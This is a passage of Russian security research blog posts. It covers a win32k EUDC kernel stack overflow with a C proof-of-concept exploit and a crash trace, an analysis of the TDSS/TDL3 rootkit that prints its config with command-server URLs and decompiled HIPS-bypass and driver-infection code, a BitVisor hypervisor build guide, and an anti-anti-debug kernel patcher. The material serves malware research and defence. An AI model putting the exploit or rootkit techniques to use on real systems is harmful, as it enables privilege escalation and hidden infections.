  __inout   PRTL_QUERY_REGISTRY_TABLE QueryTable,
  __in_opt  PVOID Context,
  __in_opt  PVOID Environment
);

В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:

typedef struct _RTL_QUERY_REGISTRY_TABLE {
    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
    ULONG Flags;
    PWSTR Name;
    PVOID EntryContext;
    ULONG DefaultType;
    PVOID DefaultData;
    ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:

 1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2)
 2 {
 3   DestinationString.Buffer = (PWSTR)&v11;
 4   KeyHandle = 0;
 5   v9 = 0;
 6   v7 = 0;
 7   v11 = 0;
 8   SourceString = 0;
 9   DestinationString.Length = 0;
10   DestinationString.MaximumLength = 0x208u;
11 
12   // получение имени ключа
13   v4 = _get_EUDC_key_name(0x208u, &SourceString);
14   if (v4 >= 0)
15   {
16     // проверка существования ключа
17     if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7)
18     {
19       SharedQueryTable.EntryContext = &DestinationString;
20       SharedQueryTable.QueryRoutine = 0;
21       SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT;
22       SharedQueryTable.Name = L"SystemDefaultEUDCFont";
23       SharedQueryTable.DefaultType = 0;
24       SharedQueryTable.DefaultData = 0;
25       SharedQueryTable.DefaultLength = 0;
26       dword_BF9A6444 = 0;
27       dword_BF9A6448 = 0;
28       dword_BF9A644C = 0;
29 
30       // получение значения параметра SystemDefaultEUDCFont
31       v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0);
32     }
33     else
34     {
35       v4 = STATUS_SUCCESS;
36     }
37   }
38 
39   // skipped
40 
41   return 1;
42 }

Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.

PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:

 1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont"
 2 
 3 int _tmain(int argc, _TCHAR* argv[])
 4 {
 5     HKEY hKey;
 6     char szKeyName[MAX_PATH], Buff[0x600];
 7 
 8     sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
 9 
10     // создание ключа реестра
11     LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
12     if (Code != ERROR_SUCCESS)
13     {
14         printf("ERROR: RegCreateKey() fails with status %d\n", Code);
15         return -1;
16     }
17 
18     // удаление старого параметра
19     RegDeleteValue(hKey, EUDC_FONT_VAL);
20 
21     // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
22     FillMemory(Buff, sizeof(Buff), 'A');
23     Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
24 
25     RegCloseKey(hKey);
26 
27     if (Code != ERROR_SUCCESS)
28     {
29         printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
30         return -1;
31     }
32 
33     // вызов уязвимой функции
34     EnableEUDC(TRUE);
35 
36     return 0;
37 }

В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:

kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141
e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca
e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73

Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.

Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:

Войти в систему под учётной записью администратора.
Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).
Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.

Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.

TDSS Rootkit: Дальнейшее развитие и текущее состояние

2010-04-29T02:38:00.000-07:00

Репост из блога Esage Lab

Про руткит TDSS - а именно, про ту его версию, которая также известна как TDL3 - написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями вредоносного кода. Подробно ознакомиться с техническим описанием руткита TDL3 можно по следующим ссылкам (на английском языке):

TDL3 - Why so serious? Let's put a smile on that face...
От BackDoor.Tdss.565 и выше (aka TDL3)

В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.

Инсталлятор

Инсталлятор руткита представляет собой исполняемый файл размером ~87Кб, обработанный несложной утилитой для запутывания кода (VirusTotal Report).

Ниже приведён конфигурационный файл, используемый руткитом после установки в систему:

[main]
quote=You people voted for Hubert Humphrey, and you killed Jesus
version=3.273
botid=7a91eb86-a6be-4db5-8694-0337dad2c75d
affid=20592
subid=0
installdate=22.4.2010 23:42:43
builddate=20.4.2010 16:17:53
[injector]
*=tdlcmd.dll
[tdlcmd]
servers=https://li1i16b0.com/;https://19js810300z.com/;https://lj1i16b0.com/
wspservers=http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http
version=3.741

Как видно, версия руткита - 3.273, последняя на данный момент.

С самых первых версий TDSS радовал нас оригинальной, и в то же время простой, техникой обхода поведенческой защиты, принцип работы которой основан на использовании механизмов службы диспетчера печати Windows. А именно, осуществлялась регистрация вспомогательной динамической библиотеки диспетчера печати (Print Processor) с помощью функции API функции AddPrintProcessor , что, в свою очередь, приводило к выполнению кода, содержащегося в этой библиотеке, в контексте доверенного процесса (а именно, spoolsv.exe). Сложность детектирования подобного поведения для систем типа HIPS заключается в том, что вызов функции AddPrintProcessor в итоге приводит к вызову RPC-функции диспетчера печати, единственный надёжный способ мониторинга которой заключается в контроле недокументированных LPC сообщений. Однако, со временем производители антивирусных защит всё-таки научились корректно препятствовать описанной технике. После этого разработчики руткита начали использовать с той же целью вызов похожей функции, а именно - AddPrintProvidor, вызов которой разработчики проактивных защит контролировать не догадались (sic!):

BOOL AddPrintProvidor(
    LPTSTR pName,         // reserved, must be NULL 
    DWORD  Level,         // provider information level 
                          // (if 1 - function uses a PROVIDOR_INFO_1 structure)
    LPBYTE pProviderInfo  // provider information buffer
);

typedef struct _PROVIDOR_INFO_1 
{ 
    LPTSTR pName; 
    LPTSTR pEnvironment; 
    LPTSTR pDLLName; 
  
} PROVIDOR_INFO_1, 
*PPROVIDOR_INFO_1;

Взглянем на псевдокод той части инсталлятора, которая выполняет обход проактивной защиты:

 1 // генерация временного имени, под которым будет сохранена dll библиотека,
 2 // загружаемая в контекст доверенного процесса функцией AddPrintProvidor()
 3 if (GetTempFileNameW(&PathName, 0, 0, &ExistingFileName))
 4 {
 5     // сама dll библиотека представляет собой тот же самый исполняемый файл дроппера,
 6     // в котором выставленны соотвествующие значения флагов PE заголовка.
 7     if (MoveFileExW(&NewFileName, &ExistingFileName, 9u))
 8     {
 9         pDLLName = &ExistingFileName;
10         *(_DWORD *)pProvidorInfo = L"tdl";
11         pEnvironment = 0;
12         AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
13         if (GetLastError() == 1722 /* The RPC server is unavailable */)
14         {
15             // Служба диспетчера печати не запущена
16             hScm = OpenSCManagerA(0, 0, 1u);
17             hService = OpenServiceA(hScm, "spooler", 0x14u);
18             if (hService)
19             {
20                 // запускаем службу
21                 if (StartServiceA(hService, 0, 0))
22                 {
23                     SERVICE_STATUS_PROCESS Buffer;
24                     memset(&Buffer, 0, 0x1Cu);
25                     do
26                     {
27                         // ... и дожидаемся окончания её запуска
28                         if (!QueryServiceStatusEx(hService, 0, &Buffer, 0x24u, &pcbBytesNeeded))
29                             break;
30                         Sleep(dwMilliseconds);
31                     }
32                     while (Buffer.dwCurrentState != 4 /* SERVICE_RUNNING */);
33                     pDLLName = &ExistingFileName;
34                     *(_DWORD *)pProvidorInfo = L"tdl";
35                     pEnvironment = 0;
36                     AddPrintProvidorW(L"tdl", 1u, pProvidorInfo);
37                 }
38                 CloseServiceHandle(hService);         
39             }
40         }
41 
42         // ...    
43         // print providor и dll библиотека больше не нужны, удаляем их
44         DeletePrintProvidorW(0, 0, L"tdl");
45         DeleteFileW(&ExistingFileName);
46         
47         // ...
48     }
49 }

В дальнейшем, работая уже в контексте доверенного процесса, инсталлятор руткита загружает драйвер режима ядра, имена файла и системного сервиса для которого генерируются случайным образом. После загрузки в память драйвер руткита выполняет заражение уже установленного в системе легитимного драйвера и инициализирует устройство, обслуживающее собственную зашифрованную файловую систему руткита. На эту файловую систему инсталлятор записывает файлы tdlcmd.dll (код трояна, работающий в User Mode), config.ini (конфигурационный файл, расшифрованный текст которого был приведён выше – этот файл формируется инсталлятором «на лету» их тех данных, которые были «зашиты» в инсталлятор на этапе его сборки и конфигурирования) и bcfg.tmp (исходные конфигурационные данные из инсталлятора). После того, как заражение выполнено, драйвер и инсталлятор самоудаляются, а руткит остаётся жить в системе исключительно как «потерянный» фрагмент исполняемого кода: он записан в последние секторы физического диска и не существующий в виде файла.

Основное тело руткита не претерпело существенных изменений за последнее время за тем исключением, что обработчики дисковых перехватов руткита теперь дополнительно фильтруют такие запросы IRP, как IOCTL_SCSI_PASS_THROUGH. Подобные запросы, адресованые драйверу минипорта, некоторое время использовались утилитами для удаления TDSS.

Заражение драйвера

Одним из главных нововведений в версии 3.273 является то, что вместо заражения заранее известного драйвера минипорта дискового контроллера руткит теперь заражает случайный драйвер, выбирая его из числа загруженных в память на момент заражения. Претерпел существенные изменения и код, которым осуществляется заражение драйвера (он по-прежнему записывается поверх секции, в которой хранятся ресурсы).

Во-первых, поиск функций ядра, используемых в этом коде, теперь осуществляется по контрольным суммам, подсчитанным от их имён. В предыдущих версиях руткита адреса нужных функций хранились непосредственно в коде. Это изменение связано с инцидентом, произошедшим после выхода обновления Miscrosoft для уязвимости MS10-015: в результате использования в коде руткита фиксированных адресов функций ядра огромное количество зараженных пользователей после обновления получили «синий экран смерти» на этапе загрузки и, как следствие, неработоспособную систему (Windows blue screen may be result of rootkit infection).

Во-вторых, та часть кода заражения, которая осуществляет загрузку тела руткита из последних секторов физического диска, теперь шифруется методом XOR. Однобайтный ключ шифрования хранится в начале зараженной секции наряду с адресом оригинальной точки входа драйвера. Возможно, разработчики руткита предприняли этот шаг для обхода тех антивирусных утилит, которые использовали модификацию загружаемого драйвера в ходе лечения.

В третьих, для установки нотификатора на создание объектов типа "Control Device Object" в новой версии используется функция IoRegisterPlugPlayNotification, вместо функции IoRegisterFsRegistrationChange, используемой в более ранних версиях:

NTSTATUS 
IoRegisterPlugPlayNotification(
    IN IO_NOTIFICATION_EVENT_CATEGORY EventCategory,
    IN ULONG EventCategoryFlags,
    IN PVOID EventCategoryData OPTIONAL,
    IN PDRIVER_OBJECT DriverObject,
    IN PDRIVER_NOTIFICATION_CALLBACK_ROUTINE CallbackRoutine,
    IN PVOID Context,
    OUT PVOID *NotificationEntry
);

typedef NTSTATUS (* PDRIVER_NOTIFICATION_CALLBACK_ROUTINE) (
    IN PVOID NotificationStructure,
    IN PVOID Context
);

Рассмотрим псевдокод первой части кода заражения системного драйвера:

 1 NTSTATUS __stdcall InfectedDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
 2 {    
 3     // получаем указатель на секцию ресурсов зараженного драйвера
 4     rsrc = (int)((char *)DriverObject->DriverStart + 
 5            *(_DWORD *)(DriverObject->DriverStart + 
 6            *((_DWORD *)DriverObject->DriverStart + 15) + 136));
 7 
 8     // ищем адрес загрузки ядра
 9     __asm { sidt fword ptr [ebp+var_10] }
10     kernel_base = *(_DWORD *)(*(_DWORD *)&v28[2] + 512) & 0xF000 |
11                   (*(_WORD *)(*(_DWORD *)&v28[2] + 518) << 16);
12     for (i = kernel_base; *(_WORD *)kernel_base != 'MZ'; i = kernel_base)
13         kernel_base = (kernel_base - 2) & 0xFFFFF000;
14 
15     // получаем адрес функции nt!ExAllocatePool()
16     __ExAllocatePool = _getapi(kernel_base, 0xDE45E96Cu);
17     // выделяем память под структуру, в которой будут хранится 
18     // значения различных ключевых переменных, а так же 
19     // прочитанное с диска тело руткита
20     context = __ExAllocatePool(0, 0x69A60u);
21     memset(context, 0, 0x69A60u);
22     *(_DWORD *)(context + 1968) = kernel_base;
23     *(_DWORD *)(context + 352) = DriverObject;
24     memcpy((void *)(context + 1972), rsrc, 0x395u);
25 
26     // вызов оригинальной точки входа зараженного драйвера
27     status = ((char *)DriverObject->DriverStart + *(_DWORD *)(rsrc + 8)))(
28         DriverObject, RegistryPath);
29 
30     // расшифровка второй части шеллкода, которая выполняет роль 
31     // обработчика PnP событий, и читает с диска тело руткита
32     k = *(_BYTE *)(rsrc + 16);
33     code_len = 433;
34     code_ptr = context + 2456;
35     do
36     {
37         *(_BYTE *)code_ptr++ ^= k++;
38         --code_len;
39     }
40     while (code_len);
41 
42     // установка нотификатора для обработки PnP событий
43     // EventCategory = EventCategoryTargetDeviceChange
44     __IoRegisterPlugPlayNotification = _getapi(kernel_base, 0x48399F96u);
45     __IoRegisterPlugPlayNotification(2, 1, &v17, DriverObject, context + 2456, 
46         context, context + 348);
47 
48     return status;
49 }

Вторая часть кода заражения системного драйвера, исполняемая при появлении определённых PnP событий, выполняет открытие устройства, имя которого передаётся в обработчик. После этого код заражения читает из последних секторов открытого устройства тело руткита, которое хранится в собственной зашифрованной файловой системе руткита под именем "tdl".

Стоит заметить, что начиная с версии 3.27 способ шифрования этой файловой системы несколько изменился: теперь вместо алгоритма RC4 со строкой "tdl" в качестве ключа используется инкрементальный XOR:

1 // функция расшифровки сектора (его размер равен 1024-м байтам)
2 void xor_encrypt(unsigned char *buf, int buf_len)
3 {
4     unsigned char key = 0x54;
5     for (int i = 0; i < buf_len; i++)
6     {
7         *(buf + i) ^= key++;
8     }
9 }

Формат самой файловой системы и логика её хранения на диске не изменились.

TDSS против антивирусных продуктов

В рамках исследования новых версий руткита мы провели тесты различных антивирусных программ с целью выяснения, насколько эффективно антивирусная индустрия противостоит руткиту TDSS на данный момент.

Тестирование производилось на платформе VMware с установленной гостевой операционной системой Windows XP Professional SP3. Были протестированы последние на момент написания данной заметки версии тех антивирусных продуктов, в которых ранее была заявлена способность к детектированию или лечению TDL3. Кроме того, с целью выяснения эффективности используемой в инсталляторе руткита техники обхода проактивных защит, в тестирование были дополнительно включены продукты, обладающие наиболее продвинутыми функциями поведенческого анализа (Comodo, ZoneAlarm, Outpost и Kaspersky Internet Security).

На виртуальную машину устанавливались последние версии тестируемых приложений, после чего осуществлялось обновление антивирусных баз и компонентов. Далее производился запуск инсталлятора руткита, перезагрузка гостевой ОС и полное сканирование системы тестируемым приложением с активацией всех возможных дополнительных настроек:

Название и версия программы	Обнаружение по поведению	Обнаружение активнго заражения	Лечение активного заражения
Dr.Web Security Space 6.00.0.04080	N/A	Yes	Yes
Kaspersky TDSSKiller 2.2.8.1	N/A	Обнаружен неправильный файл	No
Norman TDSS Cleaner 1.9.1.0	N/A	Yes	Yes
Vba32 AntiRootkit 3.12.4.0	N/A	No	No
HitmanPro 3.5.5.98	N/A	No	No
MalwareBytes Anti-Malware 1.45	N/A	No	No
RootRepeal 2.0.0 Beta	N/A	Только в памяти (без имени зараженного файла)	No
Comodo Internet Security 3.14	No	N/A	N/A
Kaspersky Internet Security 2010 (9.0.0.736)	No	Только в памяти (без имени зараженного файла)	No
ZoneAlarm Internet Security Suite 9.1.507.0	No	N/A	N/A
Outpost Firewall Pro 2009 (3063.452.726.367)	No	N/A	N/A

Как видно из таблицы, с лечением активного заражения справилось всего две программы. Утилита TDSSKiller смогла обнаружить факт заражения, однако, в качестве зараженного файла был указан atapi.sys, что не соответствовало действительности:

00:41:06:756 1880 Driver "atapi" infected by TDSS rootkit!
00:41:06:772 1880 C:\WINDOWS\system32\DRIVERS\atapi.sys - Verdict: 1
00:41:06:772 1880 File "C:\WINDOWS\system32\DRIVERS\atapi.sys" infected by TDSS rootkit ... 
00:41:06:772 1880 Processing driver file: C:\WINDOWS\system32\DRIVERS\atapi.sys

Утилита RootRepeal смогла обнаружить только модифицированный руткитом Driver Object:

STEALTH CODE
-------------------
System 0x816f78b4  -  Hidden Code
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLEANUP]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLOSE]
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CREATE]
...
System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_WRITE]

С поведенческим обнаружением инсталляции руткита в систему не справился ни один продукт.

С учётом относительно свежести тестируемого экземпляра руткита, рано делать какие-либо выводы из этих результатов. Но очевидно, что если в ближайшем будущем ситуация с детектированием TDL3 антивирусными программами не исправится, то он может стать для антивирусной индустрии самым существенным провалом со времён червя Conficker. По нашим данным, ботом TDSS заражено огромное количество машин – его ботнет на данный момент входит в число 10-ти самых крупных.

TDSS Remover

Вскоре после появления новой версии TDL3 мы выпустили обновление своей утилиты TDSS Remover:

Помимо лечения самой последней версии руткита, в новой версии утилиты была добавлена функция сохранения зашифрованной файловой системы руткита, а также утилита, которая извлекает отдельные файлы руткита из сохраненной файловой системы. Файловая система руткита автоматически сохраняется в файл с именем TDL3_volum.bin одновременно с сохранением зараженных файлов:

Для извлечения файлов, хранящихся на зашифрованной файловой системе, используется утилита TDL3_extract.exe, которой в качестве параметра передаётся путь к файлу TDL3_volume.bin:

C:\> TDL3_extract.exe dump_28.04-05.56.44\TDL3_volume.bin
Extracting data from file dump_28.04-05.56.44\TDL3_volume.bin...
0x00000001 0x000001ac config.ini
0x00000002 0x00005f8c tdl
0x0000001b 0x00000360 rsrc.dat
0x0000001c 0x0000007f bckfg.tmp
0x0000001d 0x00005000 tdlcmd.dll
Press any key to quit...

Hypervisors

2009-12-24T02:53:00.000-08:00

Несколько недель назад на многих IT-порталах обсуждался гипервизор, который предназначен для защиты ядра linux от руткитов.
Более подробно он описывается в оригинальном пейпере от исследователей из NC State University:
http://discovery.csc.ncsu.edu/pubs/ccs09-HookSafe.pdf

Однако, это далеко не первое практическое воплощение подобной идеи. В 2008-м году на конференции Black Hat USA был представлен доклад Hypervisor IPS based on Hardware Assisted Virtualization Technology за авторством Junichi Murakami, в котором рассматривается гипервизор под названием Viton, предназначенный для защиты ядра и критических системных структур Windows от модификации со стороны Malware.

Recently malware has become more stealthy and thus harder to detect, than ever before. Current malware uses many stealth techniques, such as dynamic code injection, rootkit technology and much more. Moreover, we have seen full kernel mode malware like Trojan.Srizbi.

Many detection tools were released that specialize in kernel mode malware and especially in the detection of rootkits. However, these tools are a cat and mouse game, because they and the malware are executed on the same privilege level.

This is why we developed an IPS based on a hypervisor, which uses features of hardware virtualization. It is executed on Ring-1 and thus runs with higher privileges than the OS layer.

In this session, we will talk about stealth mechanisms used by recent malware and demonstrate how to protect against such malware using Hypervisor IPS.

Download PDF

К сожалению, исходный код Viton-a (так же как и HookSafe) не доступен в паблике. Однако, он базируется на другом open-source гипервизоре, под названием BitVisor. BitVisor умеет запускать внутри виртуального окружения уже установленную на машине операционную систему, не зависимо от её типа (Windows, *NIX-like, итд.) На данный момент, в нём реализован следующий функционал:

- Поддержка 32-х разрядной архитектуры в VMM
- Поддержка PAE
- Поддержка эмуляции реального режима работы процессора

Сам гипервизор выполнен в виде мини-ядра, которое получает управление через системный загрузчик, выполняет инициализацию и инициирует повторную загрузку "виртуализированного" компьютера уже под управлением гипервизора.

Исходный код BitVisor-а доступен на SourceForge под BSD лицензией.

В связи с тем, что readme/документация на исходники/проект отсутствует как таковая а процесс его установки достаточно нетривиальный, ниже будет приведено описание того, как запустить под BitVisor-ом операционную систему. Я тестировал его на Windows XP SP3 x32 и Gentoo Linux 2008.0

Сбрка и настройка для *NIX-like

1. Распаковываем исходники в произвольный каталог (tar -xpf bitvisor-1.0.1.tar.gz).
2. Создаём файл .config, со следующим содержанием:

CONFIG_64=0#64bit VMM
CONFIG_DEBUG_GDB=0#gdb remote debug support (32bit only)
CONFIG_TTY_SERIAL=0#VMM uses a serial port (COM1) for output
CONFIG_TTY_PRO1000=0#VMM output to LAN (VPN_PRO1000 must be 1)
CONFIG_CPU_MMU_SPT_1=1#Shadow type 1 (very slow and stable)
CONFIG_CPU_MMU_SPT_2=0#Shadow type 2 (faster and unstable)
CONFIG_CPU_MMU_SPT_3=0#Shadow type 3 (faster and unstable)
CONFIG_CPU_MMU_SPT_USE_PAE=0#Shadow page table uses PAE
CONFIG_PS2KBD_F11PANIC=0#Panic when F11 is pressed (PS/2 only)
CONFIG_PS2KBD_F12MSG=1#Print when F12 is pressed (PS/2 only)
CONFIG_DBGSH=1#Debug shell access from guest
CONFIG_LOG_TO_GUEST=#Log to guest memory
CONFIG_ATA_DRIVER=1#Enable ATA driver
CONFIG_STORAGE_ENC=0#Enable storage encryption (DEBUG)
CONFIG_CRYPTO_VPN=0#Enable IPsec VPN Client
CONFIG_USB_DRIVER=0#Enable USB driver
CONFIG_SHADOW_UHCI=0#Shadow UHCI(USB1) transfers
CONFIG_SHADOW_EHCI=0#Shadow EHCI(USB2) transfers
CONFIG_HANDLE_USBMSC=0#Handle USB mass storage class devices
CONFIG_HANDLE_USBHUB=0#Handle USB hub class devices
CONFIG_CONCEAL_USBCCID=0#Conceal USB ccid class device
CONFIG_PS2KBD_F10USB=0#Run a test for USB ICCD when F10 pressed
CONFIG_PS2KBD_F12USB=0#Dump EHCI async. list when F12 pressed
CONFIG_IEEE1394_CONCEALER=0#Conceal OHCI IEEE 1394 host controllers
CONFIG_FWDBG=0#Debug via IEEE 1394
CONFIG_ACPI_DSDT=1#Parse ACPI DSDT
CONFIG_DISABLE_SLEEP=1#Disable ACPI S2 and S3
CONFIG_ENABLE_ASSERT=1#Enable checking assertion failure
CONFIG_DEBUG_ATA=0#Enable debugging ATA driver
CONFIG_SELECT_AES_GLADMAN=0#Select Dr. Gladmans AES assembler code
CONFIG_CARDSTATUS=0#Panic if an IC card is ejected (IDMAN)
CONFIG_IDMAN=0#IDMAN (CRYPTO_VPN must be enabled)
CONFIG_VPN_PRO100=0#Enable VPN for Intel PRO/100
CONFIG_VPN_PRO1000=0#Intel PRO/1000 driver
CONFIG_VPN_VE=0#Enable ve (Virtual Ethernet) driver
CONFIG_VTD_TRANS=0#Enable VT-d translation

Я отключил в нём лишние драйвера, наличие которых не обязательно для функционирования, собственно, гипервизора, и все потенциально глючные фичи, которые на практике часто приводят к неработоспособности машины. Если в наличии имеется COM-порт, стоит обратить внимание на опцию CONFIG_TTY_SERIAL, которая включает вывод отладочных сообщений ядра гипервизора в него.

3. Компилируем исходники командой make.
4. По завершению компиляции, в директории проекта должен появится файл bitvisor.elf, который необходимо скопировать на системный раздел и добавить в настройки загрузчика. Для GRUB соответствующая запись в menu.lst будет выглядеть так:

title BitVisor
root (hd0,0)
kernel /boot/bitvisor.elf

Установка завершена, перезагружаем машину и выбираем BitVisor в загрузочном меню. После этого на экране должен появится лог инициализации гипервизора примерно следующего вида:

Starting BitVisor...
Copyright (c) 2007, 2008 University of Tsukuba
All rights reserved.
4226078720 bytes (4030 MiB) RAM available.
VMM will use 0xB7C00000-0xBFC00000 (128 MiB).
ACPI DMAR not found.
..................................................                                                  
Disable ACPI S3
ACPI MCFG cleared.
Module not found.
Processor 0 (BSP)
Processor 1 (AP)
SVM is not available.
SVM is not available.
Processor 1 2365101240 Hz
Processor 0 2365101288 Hz
Loading drivers.
PCI: finding devices ........................ 24 devices found
Starting a virtual machine.

После того как гипервизор запустится, на экране снова появится меню системного загрузчика, в котором, на этот раз, будет необходимо выбрать загрузку вашей операционной системы.
Что дальше? - А всё. Если загрузка прошла успешно - можно радоваться тому факту, что ОС работает в виртуальном окружении, практические возможности BitVisor-а на этом и заканчиваются.
Проверить его работу можно с помощью следующей программы (dbgsh.c - была выдрана из комментариев в исходных текстах):

#include "stdio.h"
#include "stdlib.h"
#ifdef __MINGW32__
#include "conio.h"
#define NOECHO()
#define GETCHAR() getch ()
#define PUTCHAR(c) putch (c)
#define ECHO()
#else
#define NOECHO() system ("stty -echo -icanon")
#define GETCHAR() getchar ()
#define PUTCHAR(c) putchar (c), fflush (stdout)
#define ECHO() system ("stty echo icanon")
#endif

static int
vmcall_dbgsh (int c)
{
    int r, n;

    asm volatile ("push (%%ebx); push 4(%%ebx); lea 8(%%esp),%%esp; vmcall"
              : "=a" (n) : "a" (0), "b" ("dbgsh"));
    if (!n)
        return -1;
    asm volatile ("vmcall" : "=a" (r) : "a" (n), "b" (c));
    return r;
}

void
e (void)
{
    ECHO ();
}

int
main (int argc, char **argv)
{
    int s, r;
    FILE *fp;

    if (argc >= 2) {
        fp = fopen (argv[1], "w");
    } else {
        fp = NULL;
    }
    vmcall_dbgsh (-1);
    if (vmcall_dbgsh (-1) == -1)
        exit (1);
    atexit (e);
    NOECHO ();
    s = -1;
    for (;;) {
        r = vmcall_dbgsh (s);
        s = -1;
        if (r == 0) {
            s = GETCHAR ();
        } else if (r > 0) {
            if (fp) {
                fprintf (fp, "%c", r);
                fflush (fp);
            }
            PUTCHAR (r);
            s = 0;
        }
    }
}

Будучи скомпилированной (gcc dbgsh.c -o dbgsh) и запущенной под гипервизором, она предоставит command line интерфейс для доступа к его отладочным функциям:

# ./dbgsh
> help
debug           debugger
log             print VMM log
recvexample     msgregister() example
sendexample     msgsendbuf() example
sendint         call msgsendint()
serialtest      serial I/O test
shell           shell
reboot          reboot
exit            exit shell

Встроенный отладчик умеет:
- Дампить виртуальную и физическую память VMM.
- Дампить виртуальную и физическую память виртуальной машины.
- Показывать регистры процессора.
- Выводить лог загрузки гипервизора.

Сбрка и настройка для Windows

Компиляция BitVisor-а в Windows мало отличается от таковой под *NIX, и для неё подходит среда типа Cygwin или MinGW.
Загрузка ядра гипервизора осуществляется с помощью GRUB4DOS, который необходимо настроить следующим образом:

1. В корень системного раздела (С:\) копируются файлы bitvisor.elf и grldr, который входит в состав GRUB4DOS.
2. В той же директории создаётся файл menu.lst следующего содержания:

default 0
timeout 10

title BitVisor
root (hd0,0)
kernel /bitvisor.elf

3. В конец файла boot.ini добавляется следующая строка: C:\GRLDR="Start GRUB"

После загрузки ОС под гипервизором, его работоспособность проверяется с помощью приведенной выше программы (на скриншете виден дамп образа ядра Windows, работающего в виртуальной среде):

Выводы

После прочтения этого материала, многие, вероятно, зададут вопрос: "Зачем нужен гипервизор, который ничего полезного не умеет делать?". В текущем виде BitVisor действительно представляет собой не более чем PoC, но в силу своей архитектуры, он хорошо подходит для написания на его базе как руткитов, так и всевозможных защитных систем вроде HookSafe и Viton.
Сделать сокрытие зараженного загрузочного сектора на уровне PIO, к примеру, с помощью BitVisor-а представляется довольно простой задачей.
На данный момент, в нём очень не хватает BluePill-like nested virtualization, однако, на фоне уже сделанной работы реализация вложенной виртуализации не выглядит пугающе.

Для желающих запустить BitVisor на своей машине, я выкладываю архив, в котором находятся:

- Файл .config, который необходим для сборки гипервизора.
- Собственно, собранный гипервизор (bitvisor.elf).
- Файлы из GRUB4DOS, необходимые для загрузки гипервизора в Windows (menu.lst, grldr).
- dbgsh.exe (Windows версия программы для отладки и проверки работоспособности гипервизора).

Обмануть антиотладку

2009-12-13T02:59:00.000-08:00

Мне периодически попадаются экземпляры malware, которые умеют детектировать присутствие удалённого отладчика подцепленного к виртуальной машине. Как правило, проблемы в данном случае создают именно руткиты, так как грузится они могут раньше, чем инициализируется WinDbg сессия (буткиты, заражение NTLDR и драйверов, которые используются на начальном этапе загрузки).

В 99% случаев, обнаружение удалённого отладчика реализовано весьма тривиально:
1. Проверка глобальной экспортируемой переменной ядра KdDebuggerEnabled, которая при активном отладчике устанавливается в TRUE, и влияет на обработку исключений, и др.
2. Вызов функции NtQuerySystemInformation c классом SystemDebuggerInformation, в возвращаемых данных будет следующая структура:

typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION 
{ // Information Class 35
    BOOLEAN DebuggerEnabled;
    BOOLEAN DebuggerNotPresent;

} SYSTEM_KERNEL_DEBUGGER_INFORMATION, 
*PSYSTEM_KERNEL_DEBUGGER_INFORMATION;

Оба способа обнаружения отладчика обходятся довольно просто: единственная сложность заключается в том, что для этого, по озвученным выше причинам, не подходит hotpatching ядра из своего драйвера. Поэтому, я написал патчер, которы модифицирует файл ядра на диске:

- Патчатся все xrefs на KdDebuggerEnabled таким образом, что бы значение оригинальной экспортируемой переменной никогда не изменялось.
- Перехватывается системный вызов NtQuerySystemInformation, с подменой значений обоих полей для соответствующего информационного класса.

Архив с бинарником и исходными текстоми доступен для загрузки.

Разумеется, данный патч не расчитан на защиту от всех теоретически возможных методов детекта WinDbg, но при необходимости, нужный функционал можно реализовать по аналогии с уже имеющимся (чем я и буду заниматься по мере необходимости).

